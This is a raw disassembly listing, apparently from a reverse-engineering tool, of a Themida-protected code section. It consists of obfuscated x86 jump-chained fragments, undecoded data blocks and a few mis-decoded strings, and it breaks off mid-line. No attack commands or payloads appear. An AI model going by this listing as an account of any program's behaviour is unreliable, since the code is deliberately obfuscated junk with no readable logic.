0F700005Ah, 0CA8192D0h, 6A3530B8h, 0BE5651h, 5663F855h dd 5E240CFFh, 0DE87E6D1h, 87934893h, 1DBA52DEh, 17F4B90h dd 0F1895AD6h, 0BF0CE9h db 0 ; --------------------------------------------------------------------------- loc_544129: ; CODE XREF: Themida_:0055058Aj push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] push 0B79h mov [esp], ebx jmp loc_5510BB ; --------------------------------------------------------------------------- db 5Fh, 81h, 0F6h dd 610E7E66h, 0ADCBE9h, 4BB00h, 0D8890000h, 5B2434FFh dd 104C483h, 24048BC5h, 4C481h, 2C870000h, 24248B24h, 68C8B70Fh dd 338Fh, 0E9240C89h, 0FFFFF11Fh, 4B951h, 0BEE90000h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544187: ; CODE XREF: Themida_:00553D63j mov ecx, 3AA22D28h jmp loc_54885A ; --------------------------------------------------------------------------- loc_544191: ; CODE XREF: Themida_:0054A20Bj xchg ecx, [esp] mov esp, [esp] push eax push 6D86h jmp loc_548A6B ; --------------------------------------------------------------------------- loc_5441A2: ; CODE XREF: Themida_:0054EB92j add edx, edi pop edi add edx, 45A41AB4h mov ebx, [esp] add esp, 4 push edi mov edi, 4 add edx, edi pop edi jmp loc_54B37C ; --------------------------------------------------------------------------- db 81h dd 0B47909EBh, 0F3815915h, 4F166FE8h, 7631C781h, 0DF2978E3h dd 7631EF81h, 0C35B78E3h, 0FFF0BAE9h, 4C281FFh, 0E9000000h dd 5DDEh, 34FFF231h db 24h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55070F ; --------------------------------------------------------------------------- aYs db 'YИщ$',0 align 2 dw 302Dh dd 0E9BCD7B9h, 11071h, 6624248Bh, 6866F1F7h, 89662939h dd 50662414h, 0F075E99Ch, 0D901FFFFh, 6B62E981h, 815B6FDAh dd 2C1h, 74FF5100h, 0C8B0424h, 4C48324h, 5C24048Fh, 2896664h dd 0FFF04EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54424D: ; CODE XREF: Themida_:0054DFC3j xor esi, 73B228F9h shl esi, 8 add esi, 0D0E6736h sub esi, 0D8563D99h jmp loc_54C9A0 ; --------------------------------------------------------------------------- db 1 dd 0FC5E9CBh, 0C0580000h, 0F78006E7h, 66F80025h, 56241C8Bh dd 0C681E689h, 4, 2C681h, 34870000h, 5F2C5C24h, 0E8B35366h dd 0DBC4E9h, 0EEC58100h, 81794508h, 62D0AEEDh, 0D6EF8116h dd 12A8B23h, 0D6C781EFh, 5D2A8B23h, 81EF015Ah, 0C15019EFh dd 0B9515D4Ah, 2, 7032C781h, 0EF813B9Bh, 4B004FA2h, 0E955CF01h dd 7504h ; --------------------------------------------------------------------------- loc_5442D8: ; CODE XREF: Themida_:00549452j not ebx push ecx jmp loc_54BD9B ; --------------------------------------------------------------------------- aVs db 'VИеш',0 align 2 dw 0B0E9h dd 1FFFFEFh, 7CBA52CFh, 4A1A2A04h, 77B4F281h, 0D7016003h dd 122FEE9h db 0 ; --------------------------------------------------------------------------- loc_544301: ; CODE XREF: Themida_:00552E3Ej and esi, 78A32446h jmp loc_54FFFA ; --------------------------------------------------------------------------- dd 2859CA30h, 0C9685AD0h, 0E9000005h, 0AEEAh, 0CEFE5DB6h dd 802EC680h, 0F0280BC6h, 0E031E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54432E: ; CODE XREF: Themida_:00547E55j add esi, 4 jmp loc_550415 ; --------------------------------------------------------------------------- dw 0E668h dd 8900005Ch, 9682404h, 58504271h, 0E632A905h, 28E95654h dd 0C1000084h, 0E3C106E3h, 0AAC38103h, 31456E7Eh, 0E5E95BDEh dd 89000089h, 0BC968E3h, 34890000h, 1D31BE24h, 1EE958E1h dd 0FF000010h, 815D2434h, 4C4h, 4D89E900h, 575B0000h, 0FD7FE9h dd 0A3C18100h, 5B320012h, 0D5F7E987h, 6C94E9h db 0 byte_54439D db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00543220o dd 411589Dh, 0F0E99C24h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5443AB: ; CODE XREF: Themida_:0054EBDCj push ecx sub dword ptr [esp], 55F279A0h jmp loc_544634 ; --------------------------------------------------------------------------- loc_5443B8: ; CODE XREF: Themida_:00548A14j mov bh, 60h add bh, 98h sub bh, cl mov ecx, [esp] jmp loc_54BF42 ; --------------------------------------------------------------------------- db 52h dd 11C05E9h db 0 ; --------------------------------------------------------------------------- loc_5443CD: ; CODE XREF: Themida_:0054F8E8j pop ecx jmp loc_54C030 ; --------------------------------------------------------------------------- db 0FFh dd 0E9042474h, 0FFFFFF9Bh, 81E68956h, 4C6h, 4B95100h, 1000000h dd 348759CEh, 0F0315C24h, 5E2434FFh, 11445E9h db 0 ; --------------------------------------------------------------------------- loc_5443FD: ; CODE XREF: Themida_:00547236j xor ebx, [esp] pop esp push edi mov edi, esp add edi, 4 sub edi, 2 xchg edi, [esp] jmp loc_54667B ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 6624248Bh, 9C2404D3h, 0FFEE76E9h db 0FFh ; --------------------------------------------------------------------------- loc_544425: ; CODE XREF: Themida_:00543A0Ej push ebx mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] jmp loc_54329B ; --------------------------------------------------------------------------- db 0BFh, 0C4h, 26h dd 9EE957FEh, 8300011Ah, 348704EEh, 99ADE924h, 0C5810000h dword_544450 dd 4E030CC1h, 629BCD81h, 0E5C17D63h, 0B7ED8102h, 21B9CA2Bh ; DATA XREF: ___:off_43668Co dd 1B0D5DE8h, 0E97C6E4Fh, 0D160h ; --------------------------------------------------------------------------- loc_544470: ; CODE XREF: Themida_:0054E1D6j mov edx, [esp] add esp, 4 add ecx, esi mov esi, [esp] add esp, 4 and eax, ecx push dword ptr [esp] pop ecx add esp, 4 or eax, eax jmp loc_552127 ; --------------------------------------------------------------------------- loc_544491: ; CODE XREF: Themida_:00553A46j add esp, 2 jmp loc_5518E7 ; --------------------------------------------------------------------------- dd 4BFh, 5FFB0100h, 4EB81h, 1C870000h, 4895C24h, 0B9D3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5444B6: ; CODE XREF: Themida_:005583A8j xor ah, 46h add bl, 4 add bl, ah jmp loc_548F4F ; --------------------------------------------------------------------------- db 31h dd 34332434h, 24248B24h, 11B3DE9h db 0 ; --------------------------------------------------------------------------- loc_5444D1: ; CODE XREF: Themida_:0054C33Aj add ebx, eax jmp loc_54FF67 ; --------------------------------------------------------------------------- dword_5444D8 dd 1E59E9ADh ; DATA XREF: Themida_:005431F8o db 2 dup(0) ; --------------------------------------------------------------------------- loc_5444DE: ; CODE XREF: Themida_:005520FDj mov al, 93h xor al, 3Fh sub bl, al mov eax, [esp] jmp loc_555E99 ; --------------------------------------------------------------------------- dd 0C15AD309h, 6EE908E3h, 8900000Eh, 0CB82404h, 122F510h dd 2434FFC2h, 0AA7FE958h, 0E9530000h, 0AABAh ; --------------------------------------------------------------------------- loc_544510: ; CODE XREF: Themida_:00553C98j push dword ptr [edi+eax*4] push ebx jmp loc_5438BF ; --------------------------------------------------------------------------- loc_544519: ; CODE XREF: Themida_:005491B7j dec esi add esi, 3491E34Dh jmp loc_54C03F ; --------------------------------------------------------------------------- db 66h, 8Bh, 14h dd 2C48324h, 34FFC830h, 54575924h, 4C7815Fh, 83000000h dd 42E904C7h, 0B60000F6h, 0CF98E9EEh, 0D8280000h, 0D7FFE9h db 0 ; --------------------------------------------------------------------------- loc_544551: ; CODE XREF: Themida_:0054B72Bj pop edi xor ecx, 0DB6A4383h mov ebp, ecx mov ecx, [esp] add esp, 4 and eax, ebp mov ebp, [esp] push esi jmp loc_544D14 ; --------------------------------------------------------------------------- db 5Bh dd 0B10BE56h, 9C682352h, 89000000h, 68532404h, 4A350981h dd 0C1B0E9h, 0F2315800h, 0D73CE9h db 0 ; --------------------------------------------------------------------------- loc_54458D: ; CODE XREF: Themida_:00554784j pop ecx jmp loc_549390 ; --------------------------------------------------------------------------- db 81h dd 0E2D971E9h, 8BCE0175h, 0C481240Ch, 4, 0EE81FE29h, 1B943823h dd 83243C8Bh, 0C8904ECh, 81E18924h, 4C1h, 4C18100h, 87000000h dd 685C240Ch, 57C0h, 0E9243489h, 783Ch, 8904EC83h, 0E589242Ch dd 4C581h, 0C5810000h, 4, 31242C33h, 2C33242Ch, 48F5C24h dd 0BC98E924h, 0E7890000h, 4C781h, 0BD550000h, 4, 875DEF01h dd 248B243Ch, 58E58824h, 0F5805A66h, 0FFE830E9h, 68592434h dd 19AFh, 89243C89h, 4C781E7h, 0E9000000h, 42FDh ; --------------------------------------------------------------------------- loc_544634: ; CODE XREF: Themida_:005443B3j pop edx jmp loc_54DF39 ; --------------------------------------------------------------------------- dw 1C89h dd 4BB24h, 55520000h, 0B73973BDh, 7BDDE946h, 0C4830000h dd 242C8704h, 240C895Ch, 5C40BF57h, 0E3E92165h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544663: ; CODE XREF: Themida_:005469D9j sub esp, 4 mov [esp], eax mov eax, 25AB203Ah mov edx, eax pop eax neg edx sub edx, 0B9C5A387h jmp loc_5532EE ; --------------------------------------------------------------------------- dw 0BD55h dd 4, 9AFDE9h db 0 ; --------------------------------------------------------------------------- loc_544689: ; CODE XREF: Themida_:0054EB54j mov ecx, 4752148Ah inc ecx neg ecx add ecx, 7B1B3D7Fh add ebx, ecx pop ecx pop ebp push edx mov edx, 4DE114Ah and edx, 77CB5482h jmp loc_556E93 ; --------------------------------------------------------------------------- dd 53668E04h, 0CF8004B7h, 44B0E995h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5446BA: ; CODE XREF: Themida_:00545B51j xor edi, eax mov eax, [esp] jmp loc_54A56B ; --------------------------------------------------------------------------- loc_5446C4: ; CODE XREF: Themida_:0054B721j push ebp push esi jmp loc_545C10 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0FBD5500h, 81097D32h, 0DB39FDC7h, 0BBEF8170h dd 2959BA6Fh, 0BBC781EFh, 0E959BA6Fh, 9B79h, 7944C281h dd 0EAC1290Ch, 9CE94208h db 0B6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5446FF: ; CODE XREF: Themida_:005576E3j mov ebp, 400h jmp loc_5548DF ; --------------------------------------------------------------------------- loc_544709: ; CODE XREF: Themida_:0055571Aj shl ebp, 4 jmp loc_54ABC0 ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 8 dd 0C1FFEA83h, 0C28106EAh, 0BB817EA7h, 70C2E9h, 0DF63500h dd 10E9037Eh db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54472F: ; CODE XREF: Themida_:0055433Ej sub ebx, edx pop edx push dword ptr [ebx] push ebx jmp loc_551641 ; --------------------------------------------------------------------------- dw 8F66h dd 0EB59E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544742: ; CODE XREF: Themida_:0054A7ADj push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_54E101 ; --------------------------------------------------------------------------- dd 3E0C166h, 5C9D0566h, 8BC38966h, 0F7E92404h, 0BD0000FBh dd 0 dd 0F214E9h, 1DF28100h, 5F3BAF57h, 516E9h db 0 ; --------------------------------------------------------------------------- loc_544779: ; CODE XREF: Themida_:0054F67Dj dec esi not esi jmp loc_54DE99 ; --------------------------------------------------------------------------- db 80h, 0C6h, 8Ch dd 34FFF030h, 24148B24h, 0E904C483h, 769Eh, 0BE327FBDh dd 0DDF74D6Dh, 0CD81E5D1h, 0DE5648Fh, 5605E5C1h, 6DC0F4BEh dd 0E9F529B2h, 0CA86h, 0E189515Ch, 0DA685257h, 5A74D761h dd 3FDCE9h, 46E95000h, 81000116h, 0EFB682C2h, 2C69E9CEh dd 895C0001h, 56572424h, 0C681E689h, 4, 4EE81h, 34870000h dd 97E95C24h, 89000018h, 0CE9242Ch db 3, 1, 0 ; --------------------------------------------------------------------------- loc_5447FB: ; CODE XREF: Themida_:0054D571j mov eax, [esp] add esp, 4 add ecx, 4 push ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx push edx mov edx, 77D916C7h jmp loc_5515AA ; --------------------------------------------------------------------------- db 0E9h, 69h, 0EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544832: ; CODE XREF: Themida_:00555A88j mov ebx, 53FE00ACh sub dword ptr [esp+8], 5D216FCEh add [esp+8], ebx add dword ptr [esp+8], 5D216FCEh mov ebx, [esp] add esp, 4 sub [esp+4], eax push ebx mov ebx, 53FE00ACh sub dword ptr [esp+8], 2241305Dh sub [esp+8], ebx add dword ptr [esp+8], 2241305Dh pop ebx pop eax pop dword ptr [edi+24h] loc_544874: ; CODE XREF: Themida_:0054B6CFj push 0EFBh mov [esp], esi push 261Ch mov [esp], ebx jmp loc_55762A ; --------------------------------------------------------------------------- loc_544889: ; CODE XREF: Themida_:00543BFCj sub esp, 4 jmp loc_545D04 ; --------------------------------------------------------------------------- db 0E9h, 5, 0EAh dd 0F581FFFFh, 4AA43D11h, 4A5DEA31h, 5005EAC1h, 0EA36E9h dd 0F7816600h, 0C1665808h, 816603E7h, 66C81AEFh, 665FFB01h dd 0E8E9C301h, 5D000060h, 42E9B951h, 0CB094729h, 0D7B95159h dd 8147D56Ch, 5F46E3C9h, 7BC9814Fh, 5266FB1Ah, 0BAh, 52CA2900h dd 0C1835A59h, 0BD554901h, 0E7F9F7EAh, 0C0A6E9h db 0 ; --------------------------------------------------------------------------- loc_5448F9: ; CODE XREF: Themida_:005532DAj mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, eax mov edx, ecx jmp loc_54D4AC ; --------------------------------------------------------------------------- loc_544911: ; CODE XREF: Themida_:0054348Fj push dword ptr [esp+4] jmp loc_555A80 ; --------------------------------------------------------------------------- loc_54491A: ; CODE XREF: Themida_:005490A9j add esi, 4 xchg esi, [esp] pop esp push edx mov edx, esp jmp loc_54AD00 ; --------------------------------------------------------------------------- dd 0FF58C101h, 835B2434h, 1D6804C4h, 8900000Dh, 74FF240Ch dd 8F590424h, 248B2404h, 0BE0F6624h, 0DB6866C8h, 0C89664Dh dd 0E941E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54495A: ; CODE XREF: Themida_:0054769Dj pop esp add esi, 4BD03BB7h add esi, ecx jmp loc_551685 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Ah, 0FF24248Bh, 7BE92434h db 84h, 2 dup(0) byte_54497B db 0FFh ; DATA XREF: Themida_:00543218o dd 82E92434h, 83FFFFEDh, 2FE9FFC1h, 0B20000B0h, 2F52E9AAh dd 1C330000h, 241C3124h, 8B241C33h, 52E92424h, 5800003Ch dd 8904EC83h, 0EC68240Ch, 89000034h, 5768242Ch, 0E943E626h dd 11D97h, 42D5Fh, 55E90000h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5449C7: ; CODE XREF: Themida_:00550664j add esp, 4 sub esi, ebx push edx mov edx, esi mov ebx, edx pop edx pop esi shl ebx, 7 push ebp mov ebp, 400C4DBAh sub ebx, ebp pop ebp push edi mov edi, 0CA89493Ah add ebx, edi pop edi and eax, ebx push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_54FAC3 ; --------------------------------------------------------------------------- dw 0DE89h dd 1187CE9h, 2434FF00h, 22B1E95Fh, 48B0001h, 4EC8124h dd 89000000h, 0E0892404h, 405h, 40500h, 0E9500000h, 67FCh dd 55B9C281h, 0C22923BBh, 55B9EA81h, 0EA8123BBh, 16F2029Dh dd 5AD38958h, 0F703EBC1h, 39C381D3h, 0E90F3263h, 0FFFFE84Fh dd 52E18951h, 2D79C2BAh, 353DE96Bh db 2 dup(0) word_544A5A dw 8B66h ; DATA XREF: Themida_:005430E4o dd 0EC832404h, 0B88DE904h, 3C8B0000h, 1E4E924h, 5A660000h dd 53505266h, 9EB054B7h, 34FFF800h, 0C4835B24h, 171AE904h dd 5B540001h, 0AC20E9h db 0 ; --------------------------------------------------------------------------- loc_544A8D: ; CODE XREF: Themida_:00545B5Ej add esi, 148F7223h pop eax jmp loc_5573B7 ; --------------------------------------------------------------------------- db 5Ah, 2Dh, 81h dd 295D9A5Dh, 281E9D8h db 1, 0 ; --------------------------------------------------------------------------- loc_544AA6: ; CODE XREF: Themida_:0054B793j mov ebx, 3FC614C7h jmp loc_54E374 ; --------------------------------------------------------------------------- dd 0F8686ABDh, 0E9EA0159h, 220Ah, 0EB81CB29h, 7B032F3Ch dd 265BC381h, 81592461h, 0E35CD4C6h, 48BB5357h, 815B1A06h dd 0F645E0E3h, 0B2EB810Dh, 0C1557B1Ah, 0CB8102E3h, 44760D8Ch dd 0B22DC381h, 0DE299F68h, 9A9FE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_544AFA: ; CODE XREF: Themida_:00553855j xor esi, eax xor eax, esi push 1A35h mov [esp], esi not dword ptr [esp] mov esi, [esp] jmp loc_557B82 ; --------------------------------------------------------------------------- db 81h, 0E1h, 73h dd 0E9007F6Ch, 8858h, 4C781h, 0C7810000h, 4, 5C243C87h dd 205h, 0AE99E900h, 0DE290000h, 575EF387h, 5B15F6BFh dd 0F7EFD111h, 78C781DFh, 814FCF49h, 86CE81EFh, 368EE947h dd 0F9870000h, 8E9C15Fh, 0EB24E9h, 0E2895200h, 4C281h dd 0C2830000h, 24148704h, 2414875Ch, 2434895Ch, 2434FF54h dd 0E689565Eh, 0FD7BA52h, 0F0E92686h, 12h, 0B7535BD8h dd 0E9CFFEF5h, 165Dh, 0C15AD731h, 0EF8105EFh, 0B6AC800Ah dd 72D0C681h, 0FE290850h, 72D0EE81h, 3C8B0850h, 4C48324h dd 3BE9F231h, 8F000061h, 248B2404h, 240C8924h, 0B4D9E9h db 0 ; --------------------------------------------------------------------------- loc_544BCD: ; CODE XREF: Themida_:0055653Cj add ebx, ecx pop ecx jmp loc_5453D9 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24048B66h, 6B486856h, 0C6E90000h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544BE7: ; CODE XREF: Themida_:0054AD0Cj xchg edx, [esp] pop esp mov [esp], edx jmp loc_5519D2 ; --------------------------------------------------------------------------- loc_544BF3: ; CODE XREF: Themida_:00557710j add bl, dh pop edx push edx sub esp, 4 mov [esp], ebx jmp loc_547509 ; --------------------------------------------------------------------------- aDaJsv db '╡d─б├И╒з',0 align 4 dd 0C065B652h, 0DEF607EEh, 4EC81h, 1C890000h, 80D4B324h dd 0D3F699E3h, 80D3CB80h, 0B050F8CBh, 1E15E957h, 0C8B0001h dd 0E1895124h, 4C181h, 0C1810000h, 4, 2474FF51h, 48F5904h dd 2778E924h, 0C4830000h, 2D5EE904h, 2C350000h, 0E9014777h dd 2B6Ch ; --------------------------------------------------------------------------- loc_544C64: ; CODE XREF: Themida_:00551A63j add esp, 4 mov esi, [esp] push edi push esp jmp loc_557525 ; --------------------------------------------------------------------------- loc_544C74: ; CODE XREF: Themida_:00554D84j shr bl, 6 push edx mov dl, 8Bh sub dl, 0Ah sub bl, 0C2h sub bl, dl jmp loc_55237B ; --------------------------------------------------------------------------- aPirss db 'P┴ЮИ▒^',0 dw 5700h dd 2301F1BFh, 92E8E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_544C9A: ; CODE XREF: Themida_:00553A89j pop eax pop ebp push dword ptr [esp] pop eax jmp loc_551B70 ; --------------------------------------------------------------------------- loc_544CA5: ; CODE XREF: Themida_:0054ECABj xor [esp+4], edx pop edx pop eax xor eax, 32551040h jmp loc_5478ED ; --------------------------------------------------------------------------- db 51h, 0B5h, 0A8h dd 0E7C075B7h, 6B55108h, 8007EDC0h, 0C7800AEDh, 80EF004Eh dd 30594EEFh, 440459EFh, 0F404A604h, 0F8284D04h, 42CCE9h dd 62E95A00h, 52FFFFE7h, 0C98AE9h, 401BBB00h, 0E3C10572h dd 0A0EB8103h, 4B24263Bh, 44E95051h, 530000BEh, 0BD55E389h dd 4, 0E95DEB01h, 9532h ; --------------------------------------------------------------------------- loc_544D14: ; CODE XREF: Themida_:00544566j mov esi, esp push edi mov edi, 3FB80F6Ch sub edi, 3FB80F68h add esi, edi jmp loc_544002 ; --------------------------------------------------------------------------- db 58h, 33h, 0Ch dd 240C3124h, 48D6E9h, 3C875E00h, 0C5F2E924h, 8F5F0000h dd 248B2404h, 11B3E924h, 4A2D0001h, 812DD2D2h, 0F04A60EEh dd 81C62955h, 0F04A60C6h, 0F823E955h, 148BFFFFh, 0E1895124h dd 4C181h, 0C1830000h, 240C8704h, 0B208E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_544D7A: ; CODE XREF: Themida_:00550419j add esp, 4 jmp loc_55506C ; --------------------------------------------------------------------------- dw 0C381h dd 0FFAB5A3Eh, 0E95BDF89h, 0A6FAh, 8324148Bh, 815B04C4h dd 9743CFEBh, 0F544E920h db 2 dup(0FFh) word_544DA2 dw 0EC81h ; DATA XREF: Themida_:00543224o dd 4, 57242C89h, 0F74C1668h, 243C8B41h, 8104C483h, 0F74C15EFh dd 6CB16841h, 3C890000h, 105D6824h, 2C890000h, 5EBA5224h dd 0E92A452Bh, 0D9A8h, 68241C89h, 7CEC0066h, 98B3E9h, 3192D00h dd 9FE96111h, 500000EAh, 4358E9h db 0 ; --------------------------------------------------------------------------- loc_544DF5: ; CODE XREF: Themida_:005517D5j push ebp mov ebp, 3CBD1D57h push esi mov esi, 1DA00401h add esi, 2A8E2C0Fh jmp loc_5516F4 ; --------------------------------------------------------------------------- dd 68241489h, 995h, 51240489h, 2E7A68h, 241C8900h, 0EB8036B3h dd 89B6529Ch, 0FE5AF328h, 7E3C0CBh, 88A5EB80h, 1FC9E9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_544E3A: ; CODE XREF: Themida_:005535BEj add edx, 14D24C0Dh pop ecx jmp loc_550E69 ; --------------------------------------------------------------------------- dw 0F181h dd 3204675h, 0CCE9C801h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544E53: ; CODE XREF: Themida_:00543EB7j add esp, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], eax jmp loc_557F84 ; --------------------------------------------------------------------------- dd 241C8B66h, 0E902C483h, 8211h, 68241489h, 79CBh, 0FF240489h dd 13E92434h, 89000112h, 0E868242Ch, 8900006Eh, 0E9522424h dd 0B096h, 68241489h, 5645h, 83242489h, 5A042404h, 4C281h dd 0B2E90000h, 5C000073h, 5204C483h, 4B1B68h, 24248900h dd 4240483h, 5524148Bh, 0BF575D54h, 7A4F4E3Ah, 0E9FFEF83h dd 7F9Fh ; --------------------------------------------------------------------------- loc_544EDC: ; CODE XREF: Themida_:0054A79Ej add ebx, 7336829h jmp loc_556049 ; --------------------------------------------------------------------------- db 68h dd 6534h, 0E9243C89h, 125FDh ; --------------------------------------------------------------------------- loc_544EF4: ; CODE XREF: Themida_:0055427Cj pop esp mov [esp], eax push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_54A76E ; --------------------------------------------------------------------------- dd 243CD366h, 0E38DE99Ch, 88E9FFFFh, 50FFFFE3h, 405E089h dd 0E9000000h, 1267Dh, 0FFE376E9h, 24248BFFh, 2EBE9h, 5EF10100h dd 4BD55h, 0E9010000h, 240C875Dh, 0E389535Ch db 0E9h, 0ABh word_544F42 dw 14h ; DATA XREF: ___:off_4274E0o dd 244C0100h, 22E95904h db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_544F4F: ; CODE XREF: Themida_:0054FE0Ej jz loc_557294 push 4C64h mov [esp], edx jmp loc_55599A ; --------------------------------------------------------------------------- loc_544F62: ; CODE XREF: Themida_:00547A41j push eax mov eax, 3D29793Bh sub esi, eax jmp loc_54C28B ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4106800h, 34890000h, 76E4BE24h, 0EC813A24h, 4 dd 0F7243489h, 0C15E2414h, 0F68107E6h, 5A62945h, 0B04BE9h db 0 ; --------------------------------------------------------------------------- loc_544F9D: ; CODE XREF: Themida_:0054655Bj mov esi, eax jmp loc_549B7D ; --------------------------------------------------------------------------- dd 240C895Ch, 9192B3B9h, 4EC8352h, 0FF240C89h, 3DE92434h db 31h, 1, 0 ; --------------------------------------------------------------------------- loc_544FBB: ; CODE XREF: Themida_:0054C488j push 7E05h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_545E68 ; --------------------------------------------------------------------------- loc_544FDB: ; CODE XREF: Themida_:0054D3C1j shl ecx, 8 push edi mov edi, 56E15119h shl edi, 1 or edi, 3B22266h jmp loc_552ACC ; --------------------------------------------------------------------------- loc_544FF1: ; CODE XREF: Themida_:00545C05j add dword ptr [esp], 4 jmp loc_558348 ; --------------------------------------------------------------------------- db 88h, 0EBh, 8Bh dd 0C481240Ch, 4, 0B035E9h db 0 ; --------------------------------------------------------------------------- loc_54500D: ; CODE XREF: Themida_:00555A1Aj push ebp mov ebp, 0FFFFFFFFh sub ebx, ebp pop ebp add ebx, 7A41E77Dh push 224Eh mov [esp], esi mov esi, ebx mov eax, esi jmp loc_5510A7 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 81h dd 511B9EF2h, 5AD701F9h, 1CBA68h, 241C8900h, 2894BF57h dd 2AE94051h, 890000DAh, 48E92404h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545053: ; CODE XREF: Themida_:0054B82Aj mov eax, [esp] add esp, 4 push 53A4h mov [esp], eax mov eax, 1 and ecx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], eax push esp pop eax push ebp mov ebp, 4 add eax, 6994538Dh add eax, ebp sub eax, 6994538Dh pop ebp sub esp, 4 mov [esp], ebx mov ebx, 7A52468Ch jmp loc_5439BF ; --------------------------------------------------------------------------- aBdJrkLSd db ']│D$',8,'нJrk)L$',8,'И└й',0 align 4 loc_5450B4: ; CODE XREF: Themida_:0054D945j add esp, 4 push dword ptr [esp] jmp loc_54836C ; --------------------------------------------------------------------------- loc_5450BF: ; CODE XREF: Themida_:005519DAj push 26DD6E4Ah pop ebx jmp loc_54F42A ; --------------------------------------------------------------------------- dw 0D809h dd 1DF1355Bh, 0C3013D4Bh, 33D06858h, 14890000h, 0E9E28924h dd 0F5C6h ; --------------------------------------------------------------------------- loc_5450E4: ; CODE XREF: Themida_:0054ACA5j add esp, 4 pop dword ptr [esp] mov esp, [esp] push ebx mov bl, dl mov [edi+eax*4+1], bl mov ebx, [esp] push 1D0Dh mov [esp], edx mov edx, esp push esi push 6D11553Fh mov esi, [esp] add esp, 4 push edi push 0A92h jmp loc_54E5C3 ; --------------------------------------------------------------------------- dw 40B9h dd 0E92B7A11h, 0E49Bh, 575AD601h, 4BFh, 5FFE2900h, 187FE9h db 0 ; --------------------------------------------------------------------------- loc_545139: ; CODE XREF: Themida_:00555CFCj pop ebx or ecx, edx pop edx push 7A0Ah jmp loc_54E150 ; --------------------------------------------------------------------------- db 56h dd 1975D1BEh, 5EF02942h, 0ECFE9h db 0 ; --------------------------------------------------------------------------- loc_545155: ; CODE XREF: Themida_:005501BEj push ebp mov ebp, 6C023D21h add ecx, ebp jmp loc_54BFE7 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5F0424h, 685C2404h, 46D8h, 0E9242C89h, 9DC9h ; --------------------------------------------------------------------------- loc_545178: ; CODE XREF: Themida_:00551CB1j xchg esi, edx jmp loc_54ADD6 ; --------------------------------------------------------------------------- db 5Ah dd 26B4F781h, 8955D487h, 0A87E9FDh, 805A0001h, 0F18068C1h dd 8BCA00BAh, 0C483240Ch, 0D9C28004h, 148BD328h, 4C48124h dd 52000000h, 29406850h, 14890000h, 4C8E924h db 1, 0 ; --------------------------------------------------------------------------- loc_5451BA: ; CODE XREF: Themida_:00557899j push edi jmp loc_55280B ; --------------------------------------------------------------------------- dd 6EEBBB5Eh, 0EB8113E2h, 2461265Bh, 2F3CC381h, 0E5E97B03h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5451D7: ; CODE XREF: Themida_:00553889j mov [esp], ebx mov ebx, 1CD7AAFh add ebx, 2DDF5449h sub edx, ebx pop ebx mov esi, edx mov edx, [esp] add esp, 4 jmp loc_549C3E ; --------------------------------------------------------------------------- loc_5451F5: ; CODE XREF: Themida_:00548F4Aj pop eax sub edi, 1 jmp loc_55366F ; --------------------------------------------------------------------------- dw 0C6FEh dd 77D4E9h, 80CAFE00h, 0E2C0D0C2h, 0B3536606h, 0E9DA304Eh dd 257Eh, 2424D366h, 0E079E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545222: ; CODE XREF: Themida_:00547F92j add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] jmp loc_54C6AA ; --------------------------------------------------------------------------- db 81h dd 0F768C2EBh, 0EF81E910h, 0C801FFFFh, 0CE0FE951h db 2 dup(0) word_545246 dw 8B66h ; DATA XREF: Themida_:0054320Co dd 0EC83240Ch, 243C8904h, 8CB0E9h db 0 ; --------------------------------------------------------------------------- loc_545255: ; CODE XREF: Themida_:0054E08Ej pop ebx push esi push ecx xor dword ptr [esp], 17993902h pop esi xor esi, 17993902h mov edx, esi pop esi pop ecx add edx, 799A4486h add edx, 53205092h add edx, edi sub edx, 53205092h push ebp mov ebp, 799A4486h sub edx, ebp pop ebp push dword ptr [edx] jmp loc_55081A ; --------------------------------------------------------------------------- aSph db 'SPh╡=',0 dd 24148900h, 8835B151h, 0D46859CEh, 89000067h, 